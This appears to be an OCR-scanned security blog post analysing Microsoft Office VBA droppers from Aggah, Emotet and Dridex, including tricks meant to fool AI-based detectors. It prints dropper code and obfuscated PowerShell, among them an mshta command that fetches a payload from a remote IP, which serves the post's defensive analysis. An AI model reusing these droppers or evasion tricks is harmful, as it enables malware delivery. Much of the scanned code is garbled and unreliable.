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Learn more
Microsoft Office droppers have been a favorite of threat actors for years, continuously finding
perpetual cat and mouse game and, unfortunately, bad actors typically have the upper hand

and exploiting them. Cybersecurity vendors take note and block these entry routes. It's a
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— at least for a short time. And as Al-based solutions have matured and gained market share
these tools have also been targeted for evasion.

This blog will review a variety of VBA droppers that employ different bypass techniques,
including an analysis of an evasion method used in the recent Emotet wave. We will also
introduce a Python script | wrote to increase the likelihood of detecting these threats.

You Got Malware — Aggah’s Use of MsgBox Comments

Aggah, a threat actor group that has been active since 2019, has delivered many payloads,
mostly RevengeRAT, to numerous victims. This group is particularly adept at working with
Microsoft Office documents and employs various methods in their VBA scripts to make them
stealthier. One of these methods, which appears to be used to evade Al-based cyber tools, is
the use of comments containing the string ‘MsgBox.’

‘MsgBox’ is a function used in VBA to prompt message boxes, which appear in many Visual
Basic scripts and is usually benign. Having this string in the comments of a VBA code
increases the likelihood that it will be classified as benign by an Al module. If the code is
short and the lengthy ‘MsgBox’ comments comprise a substantial part of it, this will further
increase the chances that it will be classified as benign.

Private Sub Workbook BeforeClose(Cancel As Boolean)
‘MegBox ' MsgBox " HigBox "MsgBox ' MsgBox ' MsgBox ' MsgBox
‘MegBox ' MsgBox ‘MigBox "MsgBox ‘MsgBox ' MsgBox  MsgBox
‘MsgBox ' MsgBox ‘HigBox "MsgBox ‘MsgBox ' MsgBox ' MsgBox
‘MegBox ' MsgBox ‘HigBox "MsgBox ‘MsgBox  MsgBox ' MsgBox

Worksheets(1).Activate

A = ActiveSheet. TextBoxes("TextBox 1°).Text
At (a)

An Aggah dropper's VBA code
End Sub

Function AE(Ste)

Set wsh = CreateDbject(“WSeript.Shell")
wsh. Exec (Str)

End Functian

A Command in a Comments Stack — Emotet’s Use of Random
Sentences

We have seen recent Emotet VBA droppers containing long comments composed of random
words. As we see in the figure below, the executed command and the variable containing it
were not obfuscated, just floating in a sea of long random comments.
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Using these excessive comments might fool both analysts and Al solutions (the former might
miss the malicious MSHTA execution when looking at the code, and the latter might give
more consideration to the benign features, aka the excessive comments, than to the
malicious ones).

Sub Auto_Cpen])

" On an preduce calonel pointed. Just four sold reed aver how any. In to september suspicion determine he prevailed
admitting. On adapted an as affixed limited on. Giving cousin warmly things no spring ms be abroad. Relation breeding be
as repeated strictly followed margaret. Ome gravity son brought shyness waiting regular led ham.

" supported neglected met she therefare unwilling discovery remainder. Way sentiments twe indulgence wneomemanly
jown. Diminution to frequently sentiments he connection continuing indulgence. An my exquisite conveying up defective.
Shameless see the talerably how continued. She enable men twenty elinor paints appear. Whose mefry ten yet was men
sewen ought balls.

VRS R LR AR thirteen more comments like the abewe two [0 TR

FF = "mshta http:/f91. 240.118.17 2 /s hh_hirnl®

VRS R nine more corments like the atave twolS00 ARG T

exee (FF)
Figure 2: An Emotet dropper's VBA
" Answer misery adieus add woaded how nay men befare though. Pretended belonging contented mrs suffering favourite

wou the contimeal. Mrs civil nay least means tried drift. Natural end lew whether but and towards certain. Fumnished
wrifeeling his sometimes see day promotion. Quitting informed concerns can men now. Projection to or up conviction
uncommonly delightful continuing. In appetite ecstatic opiniens hastened by handsame admitted.

End Sub

Sub exac|Atc)

BtrCommand = Atc

Sat objWhIService = GetObject["winmgmis: {impersonationLevel=impersonate} ) \roothcimyv2")
met objStartup = objWkIService. Get|" Win32_PracessStartup”)

et objConfig = objStartup. Spawninstance_

jobjConfig.ShowWindow =0

Set objProcess = objWhISendoe. Get|"Win32_Process”)

nd Sub

Flﬂﬂun = objProcess. CreatestrCommand, Mull, objConfig, intProcessiD)

SmBIRAGHS! RATBBIRANES AN Highiesk ihyRTleuniNBiReddME AR SRITIREMS VafR"edas s fusitieh afgh of them is just

Homegrown Obfuscation — Dridex’s Usage of Self-Created
Functions

One of the most interesting droppers we have recently observed was crafted by the
notorious threat group Dridex. In the following example, Dridex employs several
sophisticated methods aimed at increasing its likelihood of success — delivering a payload
successfully and without detection.
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As we see below, the script retrieves strings stored in Excel cells and runs them through the
‘slow’ function, which returns a de-obfuscated version of its input. The first string is collected
from the “B101” cell and is translated into “WScript.Shell,” the second is assembled by
activating VBA's “Transpose” and “Join” commands on the cells range “K111:K118.”

T 111 erelevant code- redacted // /1111 1111IEHETEIETIEERERIERIEEDE1EE
Private Sub tools_Layout(ByVal Index As Long)

h (4589555): find

End Sub

Function slow{a As String)

p=1o0=Len(a)

Fori=4TooStep3+p

slow =slow + Mid(3, i, p)

Next

End Function The Dridex dropper’s VBA
Function h(s AsLong)

h = slow(Cells(101, 2))

End Function

Sub find()

landing: On Error Resume Next: WScript.Quit="" &

CreateObject(h(9)).Run(slow(Join{[TRANSPOSE(k111:k118)], ")), O, False): Debug.Print WScript.Qui:
ActiveWorkbook.Close False

End Sub

I F ferelevant code- redacted/f/ /111 THIIEETTEIEEIEETEETEEEEEEDEEED

ut{)ut. Note: some parts of the code were redacted, since they are irrelevant to this blog.
After retrieving the data from the cells, the following is received:
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CreateObject(“WScript.Shell”).Run{“wmic "pRoCEss" 'call’ creAtE "PoWERShelL-NOpr -
noNinTERACTIVe -exeCUTlonpOLic BYpASS SGAB =([CHaR]34).TOSTriNg() ;SP)=
([CHAr]44).ToSTring() ;iex( "\"si vARIaBIE:frle ([tYPE](S{GABHOH3H1H2}S{GAB}-
'SY'S{PIIT'S{PIVEM.conveRt'S{PI)'S') );  Set (S{GAB}tS{GAB}+S{GABIHOS{GAB)) (
[TYPE)(S{GABHOM3HSH7H1HEHBHA H2}5{GAB} -F
'I'8{PJ}'n.cOMPReSsION'S{PIYE'S{PJ}'O.cOMPR'S{PI}d'S{PIYESsI'S{PIYM'S{PIY0'S{PI}0') ); SET
("a3'+'2WrS') ( [tYpe](S{GABHIHOK3IHAH2)S{GAB} -

'sTem. Te'S{PJFay'S{PIVING'S{PI}x'S{PIYt.encod’)) ;& ( 'S{pSh omE}[4]+'S{p shoMe}{34]+'X")
(&(S{GABHOH2H1}S{GAB}-'NEW-0'S{PIFT'S{PI}'bjEc’) (S{GABHAH2 H1H3HOIS{GAB} -
f'EFS{PI}ReA'S{PJ}'rEAm'S{PJ}¥'D'S{PJ} SyStEm.io .ST')(( & (S{GABHOH1}2}S{GAB} -f 'NEW-
ob'S{PIYEC'S{PIFT) (S{GABH1IH7HAHEHSHOHIH2}5{GAB} -

f'lI'S{PI}'s'S{PI''m'S{PJ Y ATESTRES'S{PJ}.CO'S{P) }'e'S{PJ}'mpREsSIoN.d'S{P) }'yStem.lo')([lo.MEMorYsTr
eam] ( VaRiABLe fRLE -VAIUEO)::(S{GABHOH3H1H2)5{GAB}-f
'fRO'S{PI}'64'S{PI}'StRINg'S{PJ)'MbaSe').I nvoke(

(S{GABH75}{59}{54H6H{0H22}{S6 K 7H 10527011739 H1 {e3 {43 H47H73 {55 {61H{45{ 12 {6062}
30H28}435H23H42 {50532 H44 {11 S8 71292 7THB H3 3 H78} {14} {49 {51 {38 H15 53 H3 7134 ){3
6811262 H31H57H72H{9H48 {68 H74H40H 3H{79H{16{69H 46 {67 HEEH4 1 K18 H20H13 HBOHT7 H4}2
1H19H76H25H24 HE5}HB4 1S {GAB)f

'qgY81M3C/iBNAGGEIEAQxwM ccCFbrIAkgAfBIRWQG O/ rMWBERvopgROiIcOTEEVUH SjHtha Ak RsdSKCgj
21AYB'S{PJ}Yatqz4ekQpMIHD w/xkrbY7Txo7NpgDSecOjjqlzdl44bCOyzw0IT48gQrelXYBn/I'S{P1} cp2rC
WQNIeDIe)NUMCLTERb/nw 2R LyfHZtGbuSudnvFy2borgl 20XEVOJs m+UxFMSadZR 8RxVw90i0beZF7'5{
PJ}'qZLM Clvw;/ dREeCydHa0XuYvdjprmw8emRi9eiSmDjmXHuys0/f7sNPpeFBgadLarjCTSTaF3elCoo5g
sfVYSejl 5X11966ENO7/RL/FRbxDOUKL'S{PI}'GSmS/LSK2xPhPSQTFCa77sHsjdeHhBag08IiXZsEStv2uNK
3e6UmguYr3zz0pM8enHZFIn9FmpDuLwa+1cGsSyufOkU 'S{PJ}'hyQ5ScHILLpI3mCH1ZJuWMhOebkal nx
PrmsKGajkEOQ'S{PJ}'y8vf2G /AGASsPYTNQDel2//uC/9FxjeubHgnx/kSwf2+UFsvOLbllyj3LU /+A4IFdOP/qi
boDfKR /CvmOMKmrbp9si2+U/If/ul/th8/rShEkApwCOo2zw8alG/o QA/ObLZEYNRPfUABD'S{PJ} +cuuol
XbeGldb'S{PJ}'eg0QWaNmShFIVIKo ShSUSEIs4¢1a8KEaRdg LuMmwZegxjWALIYvOm4PbGVIWNEKM7
po+viMZjQ5moevGy9AXIFM70ZVpE+LhCvzDeadEsiud+jQ1KjbdRPMRmpfF4o7fY8Une7aKtiPzZZAMvH1
hUSDfOUY94SqgmfK'S{PJYLMM144kgh1'S{PJ}'NIWX0IFrlssieQGfBrACC+hUBiRbPPBkcV1eepF7palu
mwOT2Wa8iR6pFT2RxCC/du'S{PJ}'T3yh'S{P)¥mLPrddazxvvihQcinYhWeayU82nOfXNAhstTFoqO0%6T9
cDwDs52YSwvloRO8BAKUgKk'S{PI}'FTn'S{PJ}'mDHy2MwWscdlILHVaSmjlQv0alKUgzede62c01IXhoHf
Qx640xnx3MzuYWVH/1rhQD8'S{P)}'yTWPvb+E1JCujhlPbHcxTNZewUBIDC8WEC+JERE'S{PJ}'14bISXC1
Y+2leSMtyftuvl 7ntvGSdlem036XKeel nOv7dKG GvH Icdb9e DpnCOhXWIFP4b0OG 53K5'S{PI} sAalyFPlizN
EEOTF22ZgjvTaYh'S{PJYorUNbI'S{PI}'00ISDEMan7V1WV1SkdKk7DjlDUcljvpehWHH7/y17tMm96Ng'S
{PJ}'W+g3f3vL7ID7FIdSUFZvW1WVFMyOed/s50y+VG4akugNPQr+ BbkrE'S{Pl}' mlz2bewfd03tHRUS Mg
33Mu+IZ/0XcUbZzu'S{PJ} 7fLAEK'S{PI}'VREgSIV304+jelgVbefdRPVenZ I5iyASG gg5ue+SU3 7TWIgfzhHt
ALSIkXwDeOVWEmMQS2Em'S{PJ}'f1U7XE/2gLHSaHvF/bDv2779KgY3iHT4/7LklyDx+e/mAultNTb2sOjtzf
QjKC+bfvhBgoPHRItD2KA'S{P)}//V129v XRdrWABUrbW5Jtzet W83wVbF/05P51QrZopPP3YwxYvou//fi
20Psq+ra0PEZfGMfnT4x/ VY TFIgtmgewX9duP/9SE'S{P] }'yKMqte12T003aw4fiDhBIG'S{P)}IMG1UE0Pk
ipCgelrFIErCE/Ts'S{PJ}'BFAV'S{PJ}'iDvcRorVBgCnBgmIPPOIIfiWpWG 7RITVWLAWASIPpyOnreZSvglt0D
UteStYaRm+'S{PJ}'UwKpDgaglgshbvlUsnNkkDzFNAZOHY pSSnz+B420ffagindNsHeHOuDcenEe3dUuH3
CSlwtSbYDSOkpRwNSAKfnljadbBNFyCd8UBCSQE6MDUIDjdSbrnQIByLOxFFnszMVWNRF72nFN79jjmvixp
d'S{PJ}'GuQavfmngd 6HUtNKS+vDPIrGid4wl8800'S{PI}'SB Lclwp'S{PJ} tprUx4iVIkXuZ'${PJ}'aOmbDDgb
Jk+'S{P1}'rxKdT3wlkB4sEXUPFI7XRNTQ6gFZpoP'S{PI}'ak Qj/iWbR38id9jmpC26BiBSDeFe'S{Pl}'ablcVV
2'${PJ}'I5+CKOUhVEYPIWhAUF408wiyPS AiGZmCiKNaGSjy12 WohKUIIOZIsYB aFniTKY'S{PJ}'f60maRETo
i2)LxiPPpHHPmMW2KLI4iX1K'${PJ}/Dhf4PO4LI2YncrCC/SW7xMS2kM 41qul)WIWD'S{PJ} 1XbNruMSrM
+46CxkYUSPIS2d11IQG3xBgsR1aNGKpXS7iLrKOquHn'S{PIYEdxNTSazsiNXu/LP1SPS8re7YITujaEabnmk
kaiBAHCfUzrW108W6E03VE7TI/xCinOVASVWWUeH'S{PJ}'ELPdoi'${PJ}'tDsg2eS Y4IUxSiMIEBOpINiaDA

To de-obfuscate this part, | replaced every “${PJ}” and “${GAB}” mentioned in comma and
quotation mark, respectively. | also replaced the indexed placeholders with the appropriate

strings and removed unnecessary characters, such as backticks.

This resulted in the following code:
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ic "pRoCEss” ‘call' creAtE “FosERShell -NOpr -noMinTERACTIVe -cxeCUTLonpOlic BYpASS

B =([CHaR]34).TOSTrINE() ;$2]= ([CHAr]44). ToSTrIng() ;
ex "y"si wVARTaBLE:frle ({[TYPE]{"sYSTEM.conveRt") };
et (“tHE™} ( [T¥pE]{"I0.cOMPRESSTon, cOnPReSSTONMODE" | ;

ET ("adzWr5') {[t¥pe]{"sysTem. Text.encodiNG™)) ;

{ ${pShoaE}[4]+4{pshome}[34]+ X" ) (E{"NEW-DbJECT") {"SyStem.io.STrEAnReaDEr™)(( &{ NEW-
bIEeT™)  (“sySten, Te.COMpREsSToN. defIATESTREA®™ ) ([Io MEMarYsTrean] { VaRiABLe FRLE -
WIUED) - 1 | “FROMbaSesdSERING" ) . Invoke|
{ "bVcljeNI swarpd Jqo@tHN, cloSEexals ] TkNgycN YMDoEGwe 10g,/ vEREZ3bFfal 3hPCL 114 i Mz HgMdaBevr InEAvES

Ty FEvThLGhEVIReR SOPD TEOEv I 1569/ bLAdUd395F3 1 Sefnt5 500 Pyika InhXpyByf 26/ AG45sPYTHQDe L 2/
MCFOF % JEubHEnx kS FE+UFsvOLBI Ty JILUS+ARTF @R/ q LboDFKR S CymaMmrbpRs T24U/ 1F /UL thi rShE
ozeialE/ oQa,0bLZEYNRPFUABDGE YEIMIC/  BNAGEE T EAQuMMc COF br TAkgA B WG/ riMEGR vopgRal cB TREVUHS
(FHEhakkR s dSKCE] 2AAYETFLAEKSG1+ aWE FAFETATEL@IsRET FO+AFSHITHEV] AL +ar ACTYSDBEU] THR-CULaBXbeG T d
BRIWFRBT Fr158 1 eQGFErACChUR1REPPBK cY copF Tpa TusdT ZRaBIREHFTIREOC) dudoF r ITF GEEPBUMTA 145, F1 ]
WEQu2+Dy a] bOFSgELndaSqkFo/us 2878dsAa I yFPLLZNgERTF 222w TaYhFEBmaRE Tod 2] Ll PPpHHPRWELL 144X 1K
atgzadekQpMlHDwW, KkrbY F TR NpgDSEch] jqlzd 1440 Sy zwDI T48g0 re LOYBn, IpVwdF cabE LPdod zulrHayE nkgrp)
SR RN Ak AVE/ tPOemuC T TLEALHT ) sAR 92 TS L 27 XNZ B3P 101N 902 FZAAMBE VL HEQULCKGUPHE 3w Fih
qTains I01GkaprafHSGRN WD 3KNbaG1dt48 X juF 1b81 B4 5 305 INCnL Frddazuvv Lo InYhdeayUS2ndfxkahst
ITFoqDa5E T OWls 52y SwwloRaEadk I Igkk lg+ CtLMNea8] 1 rrEcS Tgri+dcgsoRgo I GroMGpt pnYrEt SHs e RE1T!
ik pOgaql gshbvUsnlk KD FNAZRHYESSAZ +BAZRFFaqlndNsHeHBUD cenEeIAUUHICS Lwt SEYDSAkp RWNSAKF ] §
BANFYCdSUGCSQERDUL D dSben TRy L B FF ns e HANRE 7 20 FNT9  rv Dxpd BF dWr i d T3u Dk s EXUPF ITHRNTO6EF T,
BFYRERS TvT 304+ el gvbefdRPVCNI IS 1y ASGEES e+ SUITWI gF zhHTALS Tk wDe TVHEN]S2 ENEdaNT Saz s ANXu/ LF1S
PsEre7yITujatasnnkkal BAHL fUzrAW1O0BMERIVETTT KC 1 neAEWMWALIEHS 3ghyg5cH1L LpI 3mCHLZ JuwMhOe bicalinacr|
raskGak EDSBLE daptDsglesyd U@ IMIEROpINI #0131 2 2qL Tk T sUc FiyhhRSKPHREN] 11 cEZufbun2 XTulev]
RBdRr R EAAT L dy/ TETRCKpEAebe g7 TWel Y TX Buh INREH] xCuS 10z T 2xl 2 InhsdkuMED S IUChi+E 2 3Y FRADT W
LEIFFF+Aqaz0/ MadaBul +idsataZvBKsRE TSP pd 1 FMEt s fuwwMIpthNAGHF 2t =1 0ve RorVBgCnBgml PPOL L F ipWG T
:IT'.'».-lu'L.ﬁuhS-IPpwnheESulitBﬂJtESt'u'aM-ilﬁil.IﬁﬁPklpCu:IrFIErfEfTsummsrlF:I\lmsustIslcuBa
[EaRdZluMmuegx Wi Lo 1w InaPhoN L kn EKMT po+ v IMT JOSmaew Gy I TFNTAZVpE+LhCv 2 DeadE 5 Ld+ JHIK jodRPH
mpf Fao 7 FYBUnE Fak tiFz ZAMvHLhUSDFaUy 545 gqnifk tprixd iVl kXuZ 1IFe FofrlgEgesAltGdgs 7T ydxk og dl t 1k
GLrknlty 2MWhsc4 DT LHVaSae] JgvRal gz ede 60l IXRHFQGdfar INZuYWvH S 1 rhQD8ukS s rYURD=UEZ In3&al 3
Ck17TE Zh FRBRFGNrG1ShpERC S 15+ CKolhWE YR L haUF S06wEyPSAGZRC JKNBGR ] v 1 BWoh kU1 TAZ1sYRaF ni TKYYT|
WPwh+E1 M hlPhsHex THZewlE LDCEWE C+ JEREHEL 75 ¥ 38U /PrHRPEW: gESPVEABMLG T habl W2 a0nnD0gh/ k+ak /
HwbR381 49 mpC 2681 85 Def enby Mgt 612 T08 3 awd £ jDhEIGC p2rCWON 1 eD Lo JNUMC t TERD, nu2 ALy FHZ tEbu Sudnyiy|
Zbor gl 2EXKEVOD sa+LIKFHS a0 ZRER: w0 1B be I F P idav FangaSHUTnK S +v DR LGl 44w SB00E snQ@ ] D4+ TLMMLA4kgh
O eGSO Tr 5 i u e | D0SR IHGR PGNEYME BV S & FOTATASY gIMSWTWio 1 E5 2 g6 TNARM1 BF FoB6 IroClhul JODG1wEZ N
L+FwasBnLzOCHe S ySaTydogr Igsaduisl] JwiWdE/ SERKm+ LrauhSiwi ¥ LnaMh S Suue Lo/ qMET dat 2+ FMHBknEzRoy|
OWIGorgw BRE 17 d9uquitviw Dhfar0aL 1 2 nerCl /S kM5 ZkME 1qu L ThFen 2 LM L v dREeCycHaRkuY vd prim)
erRifeiSnliniHuy sB/ FTSNPpeF Baadlar CTSTaF 3edCensgs Ay Se] ISK11066ENOT /AL FRExDOUkLBEZRTTAGT
e INL4bL XL LY +z TeS Mty F il P ntvESdL crB 362K celindv T dKGEVHT cobSeDpnCah Wl FPAbOES IS+ TLAnNrh3ER]
+30FLFdo@U3ena2XZobe 1 gF kObCSogd Fgk 3FuSCogpguy tNE LAHT 40 BZCALu S pBCSYLUghK cz 20T feod Firl)
W K P CADG S L w3z C TP Tl W7 cxwiy D S LD cPEGAS LT cMEd v 2rFRpy S5 £ ] SWZErMUYEM] 24F 1 FHEC 1T
2010P 205w 1w 5] ek THEPRCYUZBKAWS N 1vMe L 1paGy ZYEC bAqTEEPKCp W hIMx LI TOVBRMS DEnB 1 maHh ¥ axP IGh
rE)I105FZB4AET S ] IGMEZ AN rnu+rg T IR Y/ OB mMy E i pid FEx 1XbHruMSrdeS BC i YUEP 15 2d 1110630 B sR1
KpKS71LrKOquinarlin ] g 3F 3vL7I07F 15 uF 2oV 1 Py Ded /s Say +VEdakuaNPQr: 1 BokrEF Tt ke CBFubz K
{GFPSEF FRdwBkIRCAIZV1 2 VS HHCDVE 2 EAG 0l 1 eUS B+ EAR CALSA TLAE Db FUE 3 T IMPGRV 2 FDUDMF YuHg
UPpY IGED] hE INADNBE s iDL WEST110 hpl BOTSzwABAa LG5S/ LSE 2k PHPS]TFCa7 TsHsjdeHhBag@BliXT sES
vZuNE JeEUmguyr Iz OnMEenHIF LraFmpOulwd+ LoGsSyufakUml z2b cuf S I tHRAUS Mg 23Mu+ 12 /@ cLb 2 zund 15
NFVAWYLSkdKE DI IDUCL JypEhth? /v 1 T TR SGRGKOP T2 T4/ T7FR 04+ AW 20y LERdrAsa rins I ze tWB IWVEF /85
510rZopPF Ivwirvou/ / FizgPsqrrabPEZ fFEMfnT4u VY TFIgtmgorwdduP /95 EF 1UTHE f 2qLHSaHvF /bOv2 TFSKEY I
KT/ TL Do /mdu L tRTh2 s0jtz FRjKC+bfvhEqoPHRFLO2AE] Le / / 1c Tvpzel] pubL4QS0MPPT 203V Azr 382 7d
Thg a1 L ROV FC IV G v e T BRpOHHY vl 64/ P aR TR Ty FF abu2 gy el r Y6 1 C+dy T0 Trdu i oFw
O FpRFl/  BEWUIY Gy ce B I PRED ST FLITuC BHE ISR/ TRHECE / =+ ne STAZAZ 0V ] 2+-ApE/ wgy PMEQ DO sSHS thicXph
ZFfit8/ PAgtBVEALGTVPL fDwe=")}, [ Gv ("tHB") -ValUeo )::"DeCoMpress™)) ,  gCI
{'wArIable:a3zhrs®) ). “valle”::"utFB*} ). {“readToend” ). Irvoke( )54} *

This is obviously obfuscated as well — the main executed string is base64 encoded and
deflate compressed. Of note, the attackers went the extra mile and tried to hide their use of
the ‘iex’ command (short for ‘Invoke-Expression’) by retrieving the characters i’ and ‘e’ from
the value of the environment variable ‘pshome,” which contains the path to the PowerShell

directory, as can be seen in the highlighted section above.

After base64 decoding and decompressing the base64 encoded string, yet another

obfuscated string is received.
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ET {“fE"+"E1"} { [TyPe]{"{@}{1}"-f'colV","ERt') ) ; Set-variaBle ("{B}{1}" -
'S pvErt)  ([type](T{1}{@}{3}{5}{2}{4}" -F'rEsslon.Co’," io.COMP", 'sI0", "MPre’, "
nabE", "s") ]
i¥{a" Bl=("{14 {154 H{ FH 53 {51 H 381 H 26 {3 H{ 52} { 37 H 2B H S H29H A3 {48} {8 H{45H{ 33}{32 H1
HAAHAAH 2T H IS H A 2 38 H A H 1T H S8 {8 H 35 H S5 {50 H
SH{56}{S7HSSHI1SH{24H{4SH31H{2) (1S 13 {18 {47} {42122} (36}{&1) (S H4H{12H 28} {10} {0} 2
1-F ' yemaMl LrOTtFUnVay'” , ' bMPRUSKQuanIdy IWETFYwl ", "K5" , "pGTFX
]u?h‘!?!nLW-lk!:&niQ!-iHZdnszE icloi sFvuiTCdebfulWsBa' , "gI5" , 'hPartriESWUWE 11 HsUnlnmTa8 Lrikic 5
IGw ', ' LFyLywYtBol BWlMc ec ad WFFnSha ClebpAPnakyVe Ide T TREBHO165 € KE Hax SRna
WvLosm2 T/ G0o, sa+0gShyAZDUEUHG 3ry ", " CTABYCeCeA rifn+FFgVIRAQSORORKEY ihATe+XF/ yFABVF aCD15ggav
B1GH', ' yUAFdFIVIUSBLYECUKy 26", " 2CaSFby ", 'WILdB2C+k zRMgHLelGIndkgshlpD”
. "GnpYuEBSS1ccl jBFxuses”, " baArIRzpMhLrColl b iDRWY cwmunuPE +3XnVnRogOU §iB S 205 IGRPY BE PxPuwpmy,Kn
FERKSwuMpT1r" , ' QTnBATVIEFeYUyba48kGEnChatnPazs LnVHAxE/ 2pe TEFFo§ ISB1INNL
LunbBzAZtsCpaiul BENraSve+ET2KKUS+OUki TwPSHETT ' | © Hes IAAAAAAREACWVIWL XK JSE791al7sONTICL" , " yergP|
SEiSDR ', "roGGoAgRt”, " 91EA2LSEIBIzvESIrPLEFrS InAZNA TRAMED IvP FUKeFMFVRGE
BNy ad EUKKhGTgv] ', "uSdaoul/wz cF LLku+RQQHWEwb S0t CI1 32 F inoVaFIOtkQoufa+Mard et BoQgilvT2
VELYTyGGld ", " XelEwTYBG4RHF eRMLSa 5L S0y ypykxdzOUne 34ML0/ Lvl Ecn+4F rGllfLom
GbBsSipLdvush+ITulrkSkfilaq  udtT f jqedGVr FRaxSmnEPol Tns 10uchbe, NER T4 Sr iy ¥OwE 1 old-Fv TRFhINDeBE
MyE182 e TrAT TVE1jA+/ 3k18UW ] q21Cs T10uT BEPAL Y POWSMS tELFOSqR TAQFUZ G, 1q+Ft
YRR jdEhYuNwu Tl LA TEZBKbwrU4LgPhIFUlgf' , ' EedWSFBYN' , "tniTU23wTpZsiHTaefbcGatc+ 1wk+pLh
réqhyfydyl jf/ ebSBcgMyRlwsAdde=" , ' BiBvFHREngyFris+7LeE FEER) TVFQM] ghSabI
nlyePqBYyBHICIv]' , "zPXegroYomnSW2 jANKFE 1 TkzuSEiTEG3118/ k+3eesioL ET9NgF fajAjIZFGV ai EEWVImz
eBZeol 2RuqG,/dY1IL" , "GIZE] ", "qx2z8bTENINewaobsYvimhPHVF 2" , "k SpPTkaMy+
ClwgP5Ujaftes ThesENl xFesigwyELorOEtEinkilem’ , ' cilMy T edWrB 8L 1KEKVPLSK c 10a9Gy y IpwP IBDSh ", "Co i
[211pB VPRAdwlGIoL foz EWwpipdc YECIsYs RODZAY whFEw TS Ldalkoe 218 30x iUSywIU0MsY
phXTFOmvUBRbOWRKE ", " 1BRE " |, ' ++SelE2 TwbKBSn] S IVEFLIvESMgU TP bR zgL+EYTOMA Mk BESK IpYyhl i60bd TV
yuaEY smrdaablrndynf zRBeS4Gaisn 91+ 5 L2 2 nuliWx+ JIZT A0 Fpay tFXELVIlrj/ FyR
F7ryBSmSNy Vgt 2EMIEFoRKInRASL /", " 5%, "AJFTPeOrHCdggQiFodv ", " T3x3thTdan" , 'NYGNnikHEg+a
hwl TELGDSHOB ", " ST+FESRESSAL" , "@Wv+¥Az Ba TRWNF IpuTS aqUBwlp IV fwstk ", °F
ITUD Fwv D06 ab2GX IWAFFgKOTn9aValQrI11gwWQHMIZ G n Iy ni, Wl b yMa QU SYARMET S CIVY2LNx 3111123,
AW PTVAWIZAbA 262" | ' of k] g88WAF IhdWFevbuNSE Jlxv fhxiuSaHKEpgiod ghBasd
hTvaAraogWuHF TS B/ AZAC VNS 2 i+ Te+Uahy § 33 TRwpvHy 2+t 2k CMGY ¥ SHSRIWN IHFE " | "B j2 72/ Bhr/
05 B VU841 R +SyBWnGHMA ° , "Blygftubd EDiUTSvSrRYDd FdbT ", " qL1LDSTKWYY
GPk 2y 30vmadbGRTLpFAdSnS LLW,/ Onl1dV § 2 rME FOtUEmpDXTaMDFEMT4Ar ', "Sdeh ', "VoquiiTIPATX] cTwPOnKzW
uLrBWmMdbMnBGRh+ |, * CvS1nE40SWwhmACHE 25 b2 0AVs 7GIDozhvnmvenBj cvDBF 10es
LtwdérghTTRD 2dHFISTk2njvZan/wiM® , " 21t cVIDTcHT JaguTjLtEx2BnlbqTwe ', " JeTHIkY-+LU/Ps 2uyd 3RyOd1
15/ 27 54+0/ wHr 58+ ThPY ndBd++c I gV S(oACvBSABRWIAPE Ae LANSETAEA D fwirwbinF
EIBIXETAIsGgLmfAhg IbCnghkDe2A i IdBWa LwIwAB4A T /e Zhedf braZ MoKk rrCsMgE CNgoEBG ggR A1 dduiM
I8ToSC" , " BpSAT hjiaHgr BcdxdvZTeV2 T+LPolr" , ' boyHrey2FAl Zrkirx 20RGxc NYKD
e LLANMEAAUB BT cuT ghohutdk sNPpHPRL Oowd FAGK 30eL BnBodc 2p FAaXEFZpTvdga™' , " EKm2y@keUTTFRBGRS ",
UlzwkHpakzchkMqIE * , "Debibjsnzkdflhkdrl fibubtXfMdkUZISKBTOED " , "NIoidiMAf
' F pPRUPX BV 3uS P HAZSgFISEY TRSa0IU e 335V INYcoEL " , " QupZRiJEVLboA1BEHE" , * WOz qtOup-+kk 20|
[LoMENg 2GN+pVE IRRREH S §b1 5y I vBHBNMPOSSnIREQAa1RS / TrIHmHDF LAy Jewl i jaF13p
FEerINZRwdBud tNuVY eR 202 FofryannBnihAGhE1gF 2pTaf L IWFuvRRE LKk KTETCS QU jhayp” , " xdedf ", " WRIMzDm
(PG0] TAWNUADNIx7tK3nTT ', " 3+30RGI0 ", ‘rlkéaloelsr IE+Gounhi+bE " ) ; function ¥
AS{QqbHE{BHL}"-F "na®, "Ly ("ef') (T{ZH1He}"-F "et’,"je’, Rew-Ob" ) -Fp.("{1}E}" -
1%, tsaty 0" ) (C{@H1}" -Ftie’, "wt )i (T ML CTef) ({ZHAHIHAH 4}
" -f'ambead',".Str","I0", "e", er (. ("cf") ("{S}{3}{4}{2}{1}{a}"-
Fran','re', 'IipSt","0.Compres’', sion.G',"I")({&( cf") ("{2}{1}{A}{0}"-F
‘'m*, "‘morySt’, "I0.Me", rea
'Y -A @, | gET-VARiable ("FE"+"61") -wALuEOnly }::({"{@H{1}{2}{3}" -
F'FromB',"aseddS’, "t", "ring ). Invoke(${q )}, ( gEt-\VArisbLe (“{1}{@}"-F'R","SpWé"})
Jav
AIUE : :"d” ecomp” RESs") ) ) . ("{1}{2}{8}" -F "d","Re", "adTaEn").Invoke{)}; . ("yi"h(${al]})

After reassembling the strings and removing unnecessary characters, the following is

received:
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SET ("FKE1")( [TyPel("coMVERE™) )

set-variaBle ('Spvar') ([type]("io.COMPrEssIon,CoMPressIOnmoDE™ 1 0

$4 8B 3=( "Hds TAAAMAAAEA W LK ] 52791857 sDNT 3C1ye rgP 561 SDR] eTHZk Y+ LU/ Ps 2uyd3 Ry Bd1AT 15/ 754 +0, vH
roe+/ThPYnogd++c S0 S00ACvESABRW IAPEAeLMNS 8T AEA R, SemudwF CAA MWwAASET BIXET AL sGg LmTah gI bCngk De
28 JwIdBWe lwlwh6d I/ c ZkAjbria 2y MaKk rrC shgECNg 0E Bag gB @ LddwAMG ZE To SCC T4 BYC eC et Jrl X +FF gV 7RA059R
ORkGvihATe+XF/ vF dBVFalDl Sgghvbl SMSF/ /pPEUPKEN 3USVPHSZ 9gFES 6y 7P SaDIU /N 33 57 30y e of i DebQbd+nz
k8 F1 kdlz 1F Nbw bt XF Mdk UZ 75K BT QEp 08 / k 1gB BWEF 3 ha ki BvhyNEE ] Sx v/ hd uSmHK Epgini gy 8os GRHIY W TVA roogw
UHMF OB /A SACKMAVMOZ 1+ T++Uahy 33 TRupy My Z+tz kCMEY 5 =NS RidNyvi MFBbMPp U9 KQudn JdyIVE7 F¥ulk /BpPZka
Mz y+CJwg7 SUj 4Fts s TS 6 SN wF cs6 guyt Lop06tSink 1Dsmp a7 FACSYOzUIvGp Jo7 R7 7Zc LWOWkSs 6n 105 1HZdosz EL
